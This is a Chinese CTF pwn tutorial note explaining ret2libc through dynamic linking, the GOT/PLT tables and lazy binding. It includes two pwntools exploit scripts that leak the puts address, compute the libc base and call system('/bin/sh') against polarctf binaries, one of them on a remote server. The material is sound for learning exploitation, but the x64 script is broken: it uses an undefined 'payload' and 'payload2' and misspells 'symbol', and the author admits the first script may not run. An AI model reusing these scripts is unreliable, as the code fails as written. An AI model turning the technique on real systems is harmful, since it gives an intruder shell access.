上一篇:网络攻防快速入门笔记pwn | 02 栈溢出题型 | 2.1 ret2text和ret2shellcode
下一篇:网络攻防快速入门笔记pwn | 02 栈溢出题型 | 2.3 ret2syscall
欢迎关注~
ret2libc
- 一、 什么是ret2libc
- (一)ret2lib的概念
- (二)使用ret2libc的原因
- 二、 动态链接
- 三、 GOT表和PLT表
- (一)got和plt
- (二)延迟绑定
- 四、ret2libc实操
- (一)x32 payload结构
- (二)x64 payload结构
一、 什么是ret2libc
(一)ret2lib的概念
ret2lib
这种攻击方式主要是针对动态链接编译的程序,因为正常情况下是无法在程序中找到像system()
、execve()
这种系统级别的函数(如果程序中直接包含了这种函数就可以直接控制返回地址指向他们,而不用通过这种麻烦的方式)。
(二)使用ret2libc的原因
现代操作系统为了增加系统的安全性,采取了ASLR
和NX
等安全措施,以防止恶意代码的注入和执行。通过ret2libc
攻击,攻击者可以利用已加载到内存中的标准C库函数
,从而完成对系统的攻击。
二、 动态链接
静态链接将全部的函数写入ELF文件本身,动态链接是指程序装载的时候通过动态链接器将程序所需要的所有动态链接装载到进程空间中,当程序运行的时候才将他们链接在一起形成一个完整程序的过程。
动态链接相对于静态链接,具有:节约内存、共享库文件、灵活更新、减小可执行文件大小的优点。
C代码到进程镜像图解:
三、 GOT表和PLT表
(一)got和plt
就是利用某个可打印东西的函数,例如:puts函数,打印出另一个函数在got表中的地址。
got(Global Offset Table,全局偏移表)
是linux ELF文件中用于定位全局变量和函数的一个表。
PLT(过程链接表)
是Linux ELF文件中用于延迟绑定的表。
(二)延迟绑定
所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别是有利于一些引用大量函数的程序。
可能还是不太好理解,这里举个简单的例子:
这里我们需要调用aaa函数
,同理调用system
这种函数也是一样的,可以发散思维。
如果我们需要调用aaa函数
,这样一个存在于动态链接库中的函数。
首先会跳到plt节
,每一个程序被每一个需要被程序调用的函数,都会在plt
中生成一个表象,包括输出用到的puts
函数;
接下来程序会调转到plt中第一条指令:jmp *(aaa@GOT)
,跳到got表
中,因为这里是第一次对aaa函数进行调用
此时got表中还没有存储我们需要的aaa函数的真实地址,因此执行aaa@plt+6
,程序又回到了plt表中的下一条命令:push index
,这里的index指的就是参数(也就是got表中的索引),我们这里需要知道的是,所有的函数在.got.plt表中都有一个索引,如下图中,printf的索引就是0,那么aaa就是1,接下来,程序会跳转到PLT0的位置
在这里,调用PLT0中的命令,这里的GOT+4的地址就是动态链接库的地址,GOT+8就是dl_resolve的地址,并执行一系列复杂的函数dl_resolve,从而将.got
.plt表中的aaa地址进行更新
以上的过程就是第一次调用aaa函数,接下来如果再次调用aaa就不用那么麻烦了。
直接从plt表跳转到got表,此时got表中存储的就是aaa的真实地址。
上面可能有点复杂,可以反复看几遍。
总结一下:
PLT表中存的是GOT表中的地址,GOT表存的就是我们需要的函数的地址,我们通过栈溢出构造ROP链就可以跳转到got表,就可以泄露出所需要的函数的真实地址,后续只要用函数中的真实地址减去libc中这个函数的地址,就可以得到libc的基地址,然后用libc的基地址加上我们所需要函数的偏移地址(做题中一般找的比较多的就是system和/bin/sh),就可以得到真实地址,如果我们得到system和/bin/sh的真实地址,就可以很容易构造getshell了。
ASLR保护开启后,会对共享libc和堆的地址进行随机化,所谓随机化就是偏移:
但是这里的偏移是整体偏移,并不是地址杂乱无章,所以我们依然可以使用lib基地址加偏移的方式去计算真实地址。
四、ret2libc实操
(一)x32 payload结构
在做题过程中我们一般会有两个文件,一个是ELF文件,另一个是libc库文件(有些题也不会给出libc库,需要我们根据函数在libc库中的偏移量,来查找对应的libc库)
如果我们要攻击,就要构造payload,攻击的时候首先要栈溢出。
这里以调用参数为1,2,3的function函数为例function(1,2,3)
当父函数调用子函数的时候,首先会将子函数的参数压栈,接下来就是返回地址,使得子函数执行完可以回到父函数中,在下面才是我们需要执行的子函数。
例题polarctf——Game
先分析二进制文件,关注以下重点信息,这是一个32位的程序,而且是一个动态链接的程序,什么保护都没开
用IDA直接打开进行分析,main函数中首先打印:Do you play game?
,然后输入buf和b做对比,如果相同就进入function函数,点入b变量,发现存的是yes
接下来看看function函数:
同样输入yes就会执行star函数,打开star函数发现了栈溢出漏洞:
一些基础知识:
直接编写编写脚本(可能是我的环境问题,代码无法运行,但是思路是对的):
from pwn import * #导入包
from LibcSearcher import *# 这个包主要用来查看这个二进制文件匹配的libc文件
# 进入调试模式,可以查看运行过程中接受了什么数据,发送了什么数据
context.log_level = 'debug'
#远程连接
io = process("./code/pwn/ret2lib/Game")
#加载本地二进制文件,主要是为了获取二进制文本相关函数本地的plt地址和got地址
elf = ELF("./code/pwn/ret2lib/Game")
# 获取puts函数的plt地址和got地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#绕过两个判断
io.sendlineafter(b"Do you play game?",b'yes')
io.sendlineafter(b"Do you think playing games will affect your learning?",b'yes')
#获取puts函数的got地址
padding = 112
star_addr = 0x080485F4
payload = 112*b'a' + p32(puts_plt) + p32(star_addr) + p32(puts_got)
io.sendlineafter(b'as you!\n', payload)
io.recvuntil(b'p')
#print(io.recvline()[0:4])
puts_real = u32(io.recvline()[0:4])
print(puts_real)
#这里题目没有提供libc文件,所以用LibcSearcher工具去进行查找
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = LibcSearcher('puts',puts_real)
libc_base = puts_real - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump("str_bin_sh")
payload = 112*b'a' + p32(system_addr) + p32(0xdeadbeef) + p32(binsh)
io.sendlineafter(b'as you!\n', payload)
io.interactive()
查找libc文件进行下载的链接:https://libcdb.dariopetrillo.it/
(二)x64 payload结构
例题polarctf——sleep
x64程序通过寄存器传参。当六个寄存器用于传参分别是rdi、rsi、rdx、rcx、r8、r9
;
当六个寄存器用完才会在栈上传参。
看一下这个题,首先是main函数:
先是初始化,然后就是执行fun函数:
发现这里就直接有个gets栈溢出,比上一个题简单很多
shift+F12,看是否有后门函数,发现没有:
并查找rdi语句:
直接写脚本:
from pwn import *
r = remote('120.46.59.242',2118)
elf = ELF('./pwn1')
padding = 120
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#需要一个返回地址,这里设置成main函数
main_addr = 0x4006F6
pop_rdi_ret = 0x400783
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload +=p64(puts_plt)
payload +=p64(main_addr)
r.sendline(payload)
r.recvline()
#64位程序有一点点不一样,它的地址一般有效为6位
puts_real = u64(r.recvline()[:-1].ljust(8,b'\x00'))
#这里和上一道题不太一样,这一道题就不用工具LibcSearcher去找了,直接在网上找到对应的libc进行加载
#加载本地的libc代码有一点点不一样,注意下面这段代码
libc =ELF('libc库地址')
libc_base = puts_real-libc.symbol['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*payload +p64(pop_rdi_ret)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)
sleep(1)
r.sendline(payload2)
r.interactive()
提交并运行: